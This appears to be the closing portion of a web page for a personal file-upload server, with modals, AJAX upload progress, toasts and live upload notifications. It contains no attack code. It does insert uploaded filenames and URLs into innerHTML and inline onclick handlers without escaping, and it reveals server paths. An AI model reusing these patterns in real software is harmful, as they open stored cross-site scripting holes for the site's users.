    <div id="rename-modal" class="fixed inset-0 z-50 hidden flex items-center justify-center bg-black/60 backdrop-blur-sm transition-opacity opacity-0 duration-300">
        <div class="bg-slate-900 border border-slate-700 p-6 rounded-2xl shadow-2xl max-w-md w-full mx-4 transform scale-95 transition-transform duration-300 relative">
            <h3 class="text-xl font-bold text-white mb-2 flex items-center gap-2">
                <svg xmlns="http://www.w3.org/2000/svg" class="h-5 w-5 text-amber-400" fill="none" viewBox="0 0 24 24" stroke="currentColor">
                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15.232 5.232l3.536 3.536m-2.036-5.036a2.5 2.5 0 113.536 3.536L6.5 21.036H3v-3.572L16.732 3.732z" />
                </svg>
                <span>Rename File</span>
            </h3>
            <p class="text-slate-400 mb-4 text-sm">Enter a new name for <span id="rename-old-display" class="font-semibold text-amber-400 break-all"></span></p>
            
            <form method="post" action="" id="rename-modal-form" class="space-y-4">
                <input type="hidden" name="action" value="rename">
                <input type="hidden" name="old_name" id="rename-old-name-input" value="">
                <div>
                    <label for="rename-new-name-input" class="block text-xs font-medium text-slate-300 mb-1.5">New File Name</label>
                    <input type="text" name="new_name" id="rename-new-name-input" required autocomplete="off" spellcheck="false"
                        class="w-full bg-slate-950 border border-slate-700 focus:border-amber-500 focus:ring-1 focus:ring-amber-500 text-white rounded-xl px-4 py-2.5 text-sm focus:outline-none transition-all placeholder-slate-500">
                </div>
                <div class="flex justify-end gap-3 pt-2">
                    <button type="button" onclick="closeRenameModal()" class="px-4 py-2 bg-slate-800 hover:bg-slate-700 text-slate-300 rounded-lg font-medium transition-colors text-sm">Cancel</button>
                    <button type="submit" class="px-4 py-2 bg-amber-600 hover:bg-amber-500 text-white rounded-lg font-medium shadow-lg shadow-amber-500/20 transition-colors text-sm">Save</button>
                </div>
            </form>
        </div>
    </div>

    <!-- Custom Delete Modal -->
    <div id="delete-modal" class="fixed inset-0 z-50 hidden flex items-center justify-center bg-black/60 backdrop-blur-sm transition-opacity opacity-0 duration-300">
        <div class="bg-slate-900 border border-slate-700 p-6 rounded-2xl shadow-2xl max-w-sm w-full mx-4 transform scale-95 transition-transform duration-300 relative">
            <h3 class="text-xl font-bold text-white mb-2">Delete File</h3>
            <p class="text-slate-400 mb-6 text-sm">Are you sure you want to permanently delete <span id="delete-filename-display" class="font-semibold text-rose-400 break-all"></span>?</p>
            <div class="flex justify-end gap-3">
                <button onclick="closeDeleteModal()" class="px-4 py-2 bg-slate-800 hover:bg-slate-700 text-slate-300 rounded-lg font-medium transition-colors">Cancel</button>
                <button id="confirm-delete-btn" class="px-4 py-2 bg-rose-600 hover:bg-rose-500 text-white rounded-lg font-medium shadow-lg shadow-rose-500/20 transition-colors">Delete</button>
            </div>
        </div>
    </div>

    <script>
        const fileInput = document.getElementById('fileToUpload');
        const fileNameDisplay = document.getElementById('file-name-display');
        const customNameContainer = document.getElementById('custom-name-container');
        const customNameInput = document.getElementById('customFileName');

        fileInput.addEventListener('change', (e) => {
            const file = e.target.files[0];
            const fileName = file ? file.name : 'No file selected';
            fileNameDisplay.textContent = fileName;
            fileNameDisplay.classList.add('text-blue-400');
            if (customNameContainer && customNameInput) {
                if (file) {
                    customNameContainer.classList.remove('hidden');
                    if (!customNameInput.value) {
                        customNameInput.placeholder = file.name;
                    }
                } else {
                    customNameContainer.classList.add('hidden');
                }
            }
        });

        async function copyToClipboard(text, btn) {
            try {
                await navigator.clipboard.writeText(text);
                const originalContent = btn.innerHTML;
                btn.innerHTML = 'Copied!';
                
                setTimeout(() => {
                    btn.innerHTML = originalContent;
                }, 2000);
            } catch (err) {
                console.error('Failed to copy: ', err);
            }
        }

        // Long press detection for Upload button
        const uploadBtn = document.getElementById('upload-btn');
        let pressTimer = null;
        
        if (uploadBtn) {
            uploadBtn.addEventListener('mousedown', (e) => {
                if (e.button === 0) {
                    pressTimer = window.setTimeout(() => {
                        window.location.href = '?all=1';
                    }, 1500);
                }
            });
            uploadBtn.addEventListener('mouseup', () => { if (pressTimer) { clearTimeout(pressTimer); pressTimer = null; } });
            uploadBtn.addEventListener('mouseleave', () => { if (pressTimer) { clearTimeout(pressTimer); pressTimer = null; } });
        }
        
        uploadBtn.addEventListener('mouseup', () => { clearTimeout(pressTimer); });
        uploadBtn.addEventListener('mouseleave', () => { clearTimeout(pressTimer); });
        uploadBtn.addEventListener('touchstart', () => {
            pressTimer = window.setTimeout(() => {
                window.location.href = '?all=1';
            }, 1500);
        }, {passive: true});
        uploadBtn.addEventListener('touchend', () => { clearTimeout(pressTimer); });

        // Rename Modal Logic
        const renameModal = document.getElementById('rename-modal');
        const renameModalInner = renameModal.querySelector('div');
        const renameOldDisplay = document.getElementById('rename-old-display');
        const renameOldInput = document.getElementById('rename-old-name-input');
        const renameNewInput = document.getElementById('rename-new-name-input');

        function showRenameModal(filename) {
            renameOldDisplay.textContent = filename;
            renameOldInput.value = filename;
            renameNewInput.value = filename;
            renameModal.classList.remove('hidden');
            setTimeout(() => {
                renameModal.classList.remove('opacity-0');
                renameModalInner.classList.remove('scale-95');
                renameNewInput.focus();
                const lastDot = filename.lastIndexOf('.');
                if (lastDot > 0) {
                    renameNewInput.setSelectionRange(0, lastDot);
                } else {
                    renameNewInput.select();
                }
            }, 10);
        }

        function closeRenameModal() {
            renameModal.classList.add('opacity-0');
            renameModalInner.classList.add('scale-95');
            setTimeout(() => {
                renameModal.classList.add('hidden');
            }, 300);
        }

        renameModal.addEventListener('click', (e) => {
            if (e.target === renameModal) {
                closeRenameModal();
            }
        });

        // Delete Modal Logic
        let formToSubmit = null;
        const modal = document.getElementById('delete-modal');
        const modalInner = modal.querySelector('div');
        const fileDisplay = document.getElementById('delete-filename-display');

        function showDeleteModal(form, filename) {
            formToSubmit = form;
            fileDisplay.textContent = filename;
            modal.classList.remove('hidden');
            // small delay for transition
            setTimeout(() => {
                modal.classList.remove('opacity-0');
                modalInner.classList.remove('scale-95');
            }, 10);
        }

        function closeDeleteModal() {
            modal.classList.add('opacity-0');
            modalInner.classList.add('scale-95');
            setTimeout(() => {
                modal.classList.add('hidden');
                formToSubmit = null;
            }, 300);
        }

        document.getElementById('confirm-delete-btn').addEventListener('click', () => {
            if (formToSubmit) {
                formToSubmit.submit();
            }
        });

        // Close on outside click
        modal.addEventListener('click', (e) => {
            if (e.target === modal) {
                closeDeleteModal();
            }
        });

        // Close on Escape key
        document.addEventListener('keydown', (e) => {
            if (e.key === 'Escape') {
                if (!renameModal.classList.contains('hidden')) {
                    closeRenameModal();
                }
                if (!modal.classList.contains('hidden')) {
                    closeDeleteModal();
                }
            }
        });
        
        // Custom Pretty Toast Notification Function (No native browser popups!)
        function showPrettyToast(title, message, type = 'amber', actionUrl = null, actionText = null) {
            let container = document.getElementById('toast-container');
            if (!container) {
                container = document.createElement('div');
                container.id = 'toast-container';
                container.className = 'fixed top-5 right-5 z-50 flex flex-col gap-3 max-w-md w-full pointer-events-none px-4';
                document.body.appendChild(container);
            }

            const toast = document.createElement('div');
            toast.className = `pointer-events-auto transform translate-y-[-20px] opacity-0 transition-all duration-300 flex items-start gap-3.5 p-4 rounded-2xl shadow-2xl border backdrop-blur-md ${
                type === 'amber' || type === 'success' ? 'bg-slate-900/95 border-amber-500/60 text-amber-200 shadow-amber-500/10' :
                type === 'error' ? 'bg-slate-900/95 border-rose-500/60 text-rose-200 shadow-rose-500/10' :
                'bg-slate-900/95 border-blue-500/60 text-blue-200 shadow-blue-500/10'
            }`;

            let iconSvg = '';
            if (type === 'amber' || type === 'success') {
                iconSvg = `<svg class="w-6 h-6 shrink-0 text-amber-400 mt-0.5" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 10V3L4 14h7v7l9-11h-7z"/></svg>`;
            } else if (type === 'error') {
                iconSvg = `<svg class="w-6 h-6 shrink-0 text-rose-400 mt-0.5" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 8v4m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>`;
            } else {
                iconSvg = `<svg class="w-6 h-6 shrink-0 text-blue-400 mt-0.5" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>`;
            }

            let actionBtnHtml = '';
            if (actionUrl && actionText) {
                actionBtnHtml = `<a href="${actionUrl}" target="_blank" class="mt-2 inline-flex items-center gap-1.5 px-3 py-1 bg-amber-500/20 hover:bg-amber-500/30 text-amber-300 border border-amber-400/30 text-xs font-semibold rounded-lg transition-all">${actionText} &rarr;</a>`;
            }

            toast.innerHTML = `
                ${iconSvg}
                <div class="flex-1 min-w-0">
                    <h4 class="font-bold text-sm text-white leading-tight">${title}</h4>
                    <p class="text-xs text-slate-300 mt-1 break-all">${message}</p>
                    ${actionBtnHtml}
                </div>
                <button onclick="this.parentElement.remove()" class="text-slate-400 hover:text-white p-1 rounded-lg transition-colors">
                    <svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12"/></svg>
                </button>
            `;

            container.appendChild(toast);

            setTimeout(() => {
                toast.classList.remove('translate-y-[-20px]', 'opacity-0');
            }, 10);

            setTimeout(() => {
                toast.classList.add('opacity-0', 'translate-x-full');
                setTimeout(() => toast.remove(), 300);
            }, 6000);
        }

        // SSE Real-Time Upload Subscription Logic
        let sseSource = null;

        function toggleSSESubscription(userClicked = true) {
            if (sseSource) {
                disconnectSSE(userClicked);
            } else {
                connectSSE(userClicked);
            }
        }

        function connectSSE(notifyUser = true) {
            const btn = document.getElementById('sse-subscribe-btn');
            const statusDot = document.getElementById('sse-status-dot');

            // Request permission for system desktop notifications on Omarchy OS
            if ("Notification" in window && Notification.permission === "default") {
                Notification.requestPermission();
            }

            if (sseSource) {
                sseSource.close();
            }

            sseSource = new EventSource('upload.php?sse=1');

            sseSource.onopen = function() {
                if (btn) {
                    btn.classList.add('ring-4', 'ring-yellow-400/50', 'bg-yellow-300');
                }
                if (statusDot) {
                    statusDot.className = 'absolute -top-1 -right-1 w-3 h-3 rounded-full bg-emerald-400 border-2 border-slate-950 animate-ping';
                }
                localStorage.setItem('sse_subscribed_upload', '1');
                if (notifyUser) {
                    showPrettyToast("⚡ Live SSE Subscribed", "Subscribed to live file upload notifications.", "amber");
                }
            };

            sseSource.addEventListener('new_upload', function(e) {
                try {
                    const data = JSON.parse(e.data);
                    const filename = data.filename;
                    const url = data.url;

                    // 1. Custom Pretty Toast Notification
                    showPrettyToast("📁 New File Uploaded!", filename, "amber", url, "View URL");

                    // 1b. Native Desktop Notification (Omarchy OS)
                    if ("Notification" in window && Notification.permission === "granted") {
                        try {
                            const notif = new Notification("📁 New File Uploaded!", {
                                body: filename,
                                icon: "https://iotools.w8jae.com/djlogo.png"
                            });
                            notif.onclick = function() {
                                window.open(url, "_blank");
                                window.focus();
                            };
                        } catch(notifErr) {}
                    }

                    // 2. Play subtle chime tone
                    try {
                        const audioCtx = new (window.AudioContext || window.webkitAudioContext)();
                        const osc = audioCtx.createOscillator();
                        const gain = audioCtx.createGain();
                        osc.type = 'sine';
                        osc.frequency.setValueAtTime(587.33, audioCtx.currentTime);
                        osc.frequency.setValueAtTime(880, audioCtx.currentTime + 0.1);
                        gain.gain.setValueAtTime(0.1, audioCtx.currentTime);
                        gain.gain.exponentialRampToValueAtTime(0.001, audioCtx.currentTime + 0.4);
                        osc.connect(gain);
                        gain.connect(audioCtx.destination);
                        osc.start();
                        osc.stop(audioCtx.currentTime + 0.4);
                    } catch(err) {}

                    // 3. Prepend to DOM if list exists
                    prependNewFileItem(filename, url, data.size);

                } catch(err) {
                    console.error("SSE parse error:", err);
                }
            });

            sseSource.onerror = function() {
                if (statusDot) {
                    statusDot.className = 'absolute -top-1 -right-1 w-3 h-3 rounded-full bg-rose-500 border-2 border-slate-950 animate-pulse';
                }
            };
        }

        function disconnectSSE(notifyUser = true) {
            if (sseSource) {
                sseSource.close();
                sseSource = null;
            }
            const btn = document.getElementById('sse-subscribe-btn');
            const statusDot = document.getElementById('sse-status-dot');

            if (btn) {
                btn.classList.remove('ring-4', 'ring-yellow-400/50', 'bg-yellow-300');
            }
            if (statusDot) {
                statusDot.className = 'absolute -top-1 -right-1 w-3 h-3 rounded-full bg-slate-950 border-2 border-yellow-400';
            }
            localStorage.setItem('sse_subscribed_upload', '0');
            if (notifyUser) {
                showPrettyToast("Live Feed Paused", "SSE subscription has been disconnected.", "info");
            }
        }

        function prependNewFileItem(filename, publicUrl, sizeBytes) {
            const listContainer = document.querySelector('.space-y-3');
            if (!listContainer) return;

            // Prevent duplicate entries in the recent uploads list
            const safeName = CSS.escape(filename);
            if (listContainer.querySelector(`[data-filename="${safeName}"]`)) {
                return;
            }

            const fullPath = "/var/www/iotools.w8jae.com/uploads/" + filename;
            const item = document.createElement('div');
            item.setAttribute('data-filename', filename);
            item.className = "flex flex-col sm:flex-row items-start sm:items-center justify-between p-4 bg-amber-500/10 border border-amber-500/40 rounded-xl group transition-all gap-4 animate-pulse";
            item.innerHTML = `
                <div class="overflow-hidden w-full sm:w-auto flex-1 min-w-0">
                    <div class="flex items-center gap-2 min-w-0">
                        <span class="text-xs bg-amber-500/20 text-amber-300 font-bold px-2 py-0.5 rounded uppercase shrink-0">NEW</span>
                        <p class="text-sm font-medium text-white truncate" title="${filename}">${filename}</p>
                    </div>
                    <p class="text-xs text-slate-500 truncate mt-1">Path: ${fullPath}</p>
                    <p class="text-xs text-slate-500 truncate">URL: <a href="${publicUrl}" target="_blank" class="text-blue-400 hover:underline">${publicUrl}</a></p>
                </div>
                <div class="shrink-0 flex items-center flex-wrap gap-2 w-full sm:w-auto">
                    <button onclick="copyToClipboard('${fullPath}', this)" class="flex-1 sm:flex-none flex items-center justify-center gap-1.5 px-3 py-1.5 bg-slate-800 hover:bg-slate-700 text-slate-300 text-xs font-semibold rounded-lg transition-all active:scale-95">
                        <svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M8 5H6a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2v-1M8 5a2 2 0 002 2h2a2 2 0 002-2M8 5a2 2 0 012-2h2a2 2 0 012 2m0 0h2a2 2 0 012 2v3m2 4H10m0 0l3-3m-3 3l3 3" /></svg>
                        <span>Copy Path</span>
                    </button>
                    <button onclick="copyToClipboard('${publicUrl}', this)" class="flex-1 sm:flex-none flex items-center justify-center gap-1.5 px-3 py-1.5 bg-blue-900/40 hover:bg-blue-800/60 text-blue-300 text-xs font-semibold rounded-lg transition-all active:scale-95 border border-blue-800/50">
                        <svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" /></svg>
                        <span>Copy URL</span>
                    </button>
                </div>
            `;

            listContainer.insertBefore(item, listContainer.firstChild);

            setTimeout(() => {
                item.classList.remove('animate-pulse', 'bg-amber-500/10', 'border-amber-500/40');
                item.classList.add('bg-slate-950/50', 'border-slate-800');
            }, 3000);
        }

        // Prevent form resubmission prompt on refresh
        if (window.history.replaceState) {
            window.history.replaceState(null, null, window.location.href);
        }

        // AJAX Upload Handler with Live Progress Bar
        const mainUploadForm = document.getElementById('main-upload-form');
        if (mainUploadForm) {
            mainUploadForm.addEventListener('submit', function(e) {
                e.preventDefault();
                const fileInput = document.getElementById('fileToUpload');
                if (!fileInput || !fileInput.files.length) return;

                const formData = new FormData(mainUploadForm);
                formData.append('ajax_upload', '1');

                const uploadBtn = document.getElementById('upload-btn');
                const progressContainer = document.getElementById('upload-progress-container');
                const progressBar = document.getElementById('upload-progress-bar');
                const progressPercent = document.getElementById('upload-progress-percent');
                const progressStatus = document.getElementById('upload-progress-status');

                if (uploadBtn) {
                    uploadBtn.disabled = true;
                    uploadBtn.classList.add('opacity-50', 'cursor-not-allowed');
                    uploadBtn.innerHTML = 'Uploading...';
                }
                if (progressContainer) progressContainer.classList.remove('hidden');

                const xhr = new XMLHttpRequest();
                xhr.open('POST', 'upload.php', true);
                xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');

                xhr.upload.onprogress = function(evt) {
                    if (evt.lengthComputable) {
                        const percent = Math.round((evt.loaded / evt.total) * 100);
                        if (progressBar) progressBar.style.width = percent + '%';
                        if (progressPercent) progressPercent.textContent = percent + '%';
                        if (progressStatus) progressStatus.textContent = `Uploading (${percent}%)...`;
                    }
                };

                xhr.onload = function() {
                    if (uploadBtn) {
                        uploadBtn.disabled = false;
                        uploadBtn.classList.remove('opacity-50', 'cursor-not-allowed');
                        uploadBtn.innerHTML = 'Upload to Server';
                    }
                    if (progressContainer) progressContainer.classList.add('hidden');
                    if (progressBar) progressBar.style.width = '0%';

                    try {
                        const res = JSON.parse(xhr.responseText);
                        if (res.success) {
                            // Prepend file to list and reset form; notifications are handled solely by SSE
                            prependNewFileItem(res.filename, res.url, res.size);

                            // Reset form & display
                            mainUploadForm.reset();
                            const fileNameDisplay = document.getElementById('file-name-display');
                            if (fileNameDisplay) {
                                fileNameDisplay.textContent = 'No file selected';
                                fileNameDisplay.classList.remove('text-blue-400');
                            }
                            const customNameContainer = document.getElementById('custom-name-container');
                            if (customNameContainer) customNameContainer.classList.add('hidden');

                        } else {
                            showPrettyToast("Upload Failed", res.message || "An error occurred during upload.", "error");
                        }
                    } catch(err) {
                        console.error("AJAX response parse error:", err, xhr.responseText);
                        showPrettyToast("Upload Error", "Server response could not be parsed.", "error");
                    }
                };

                xhr.onerror = function() {
                    if (uploadBtn) {
                        uploadBtn.disabled = false;
                        uploadBtn.classList.remove('opacity-50', 'cursor-not-allowed');
                        uploadBtn.innerHTML = 'Upload to Server';
                    }
                    if (progressContainer) progressContainer.classList.add('hidden');
                    showPrettyToast("Upload Error", "Network connection failed.", "error");
                };

                xhr.send(formData);
            });
        }

        // Auto-connect only AFTER page has finished loading to prevent browser tab spinner from hanging
        window.addEventListener('load', () => {
            setTimeout(() => {
                if (localStorage.getItem('sse_subscribed_upload') === '1') {
                    connectSSE(false);
                }
            }, 100);
        });

        document.addEventListener("mousemove", (e) => {
            const floatText = document.getElementById("floating-text");
            const logo = document.getElementById("dev-by-jae-logo");
            const x = (e.clientX - window.innerWidth / 2) / 30;
            const y = (e.clientY - window.innerHeight / 2) / 30;
            
            if (floatText) {
                floatText.style.textShadow = `
                    ${x * 0.2}px ${y * 0.2}px 1.6px #fff,
                    ${x * 0.5}px ${y * 0.5}px 4px #00d2ff,
                    ${x}px ${y}px 8px #0066ff,
                    ${x * 1.5}px ${y * 1.5}px 16px #0033cc,
                    ${x * 2}px ${y * 2}px 28px #001166
                `;
            }
            if (logo) {
                logo.style.filter = `
                    drop-shadow(${x * 0.2}px ${y * 0.2}px 1px #fff)
                    drop-shadow(${x * 0.5}px ${y * 0.5}px 2.4px #00d2ff)
                    drop-shadow(${x}px ${y}px 4.8px #0066ff)
                    drop-shadow(${x * 1.5}px ${y * 1.5}px 9.6px #0033cc)
                    drop-shadow(${x * 2}px ${y * 2}px 16.8px #001166)
                `;
            }
        });
    </script>
</body>
</html>
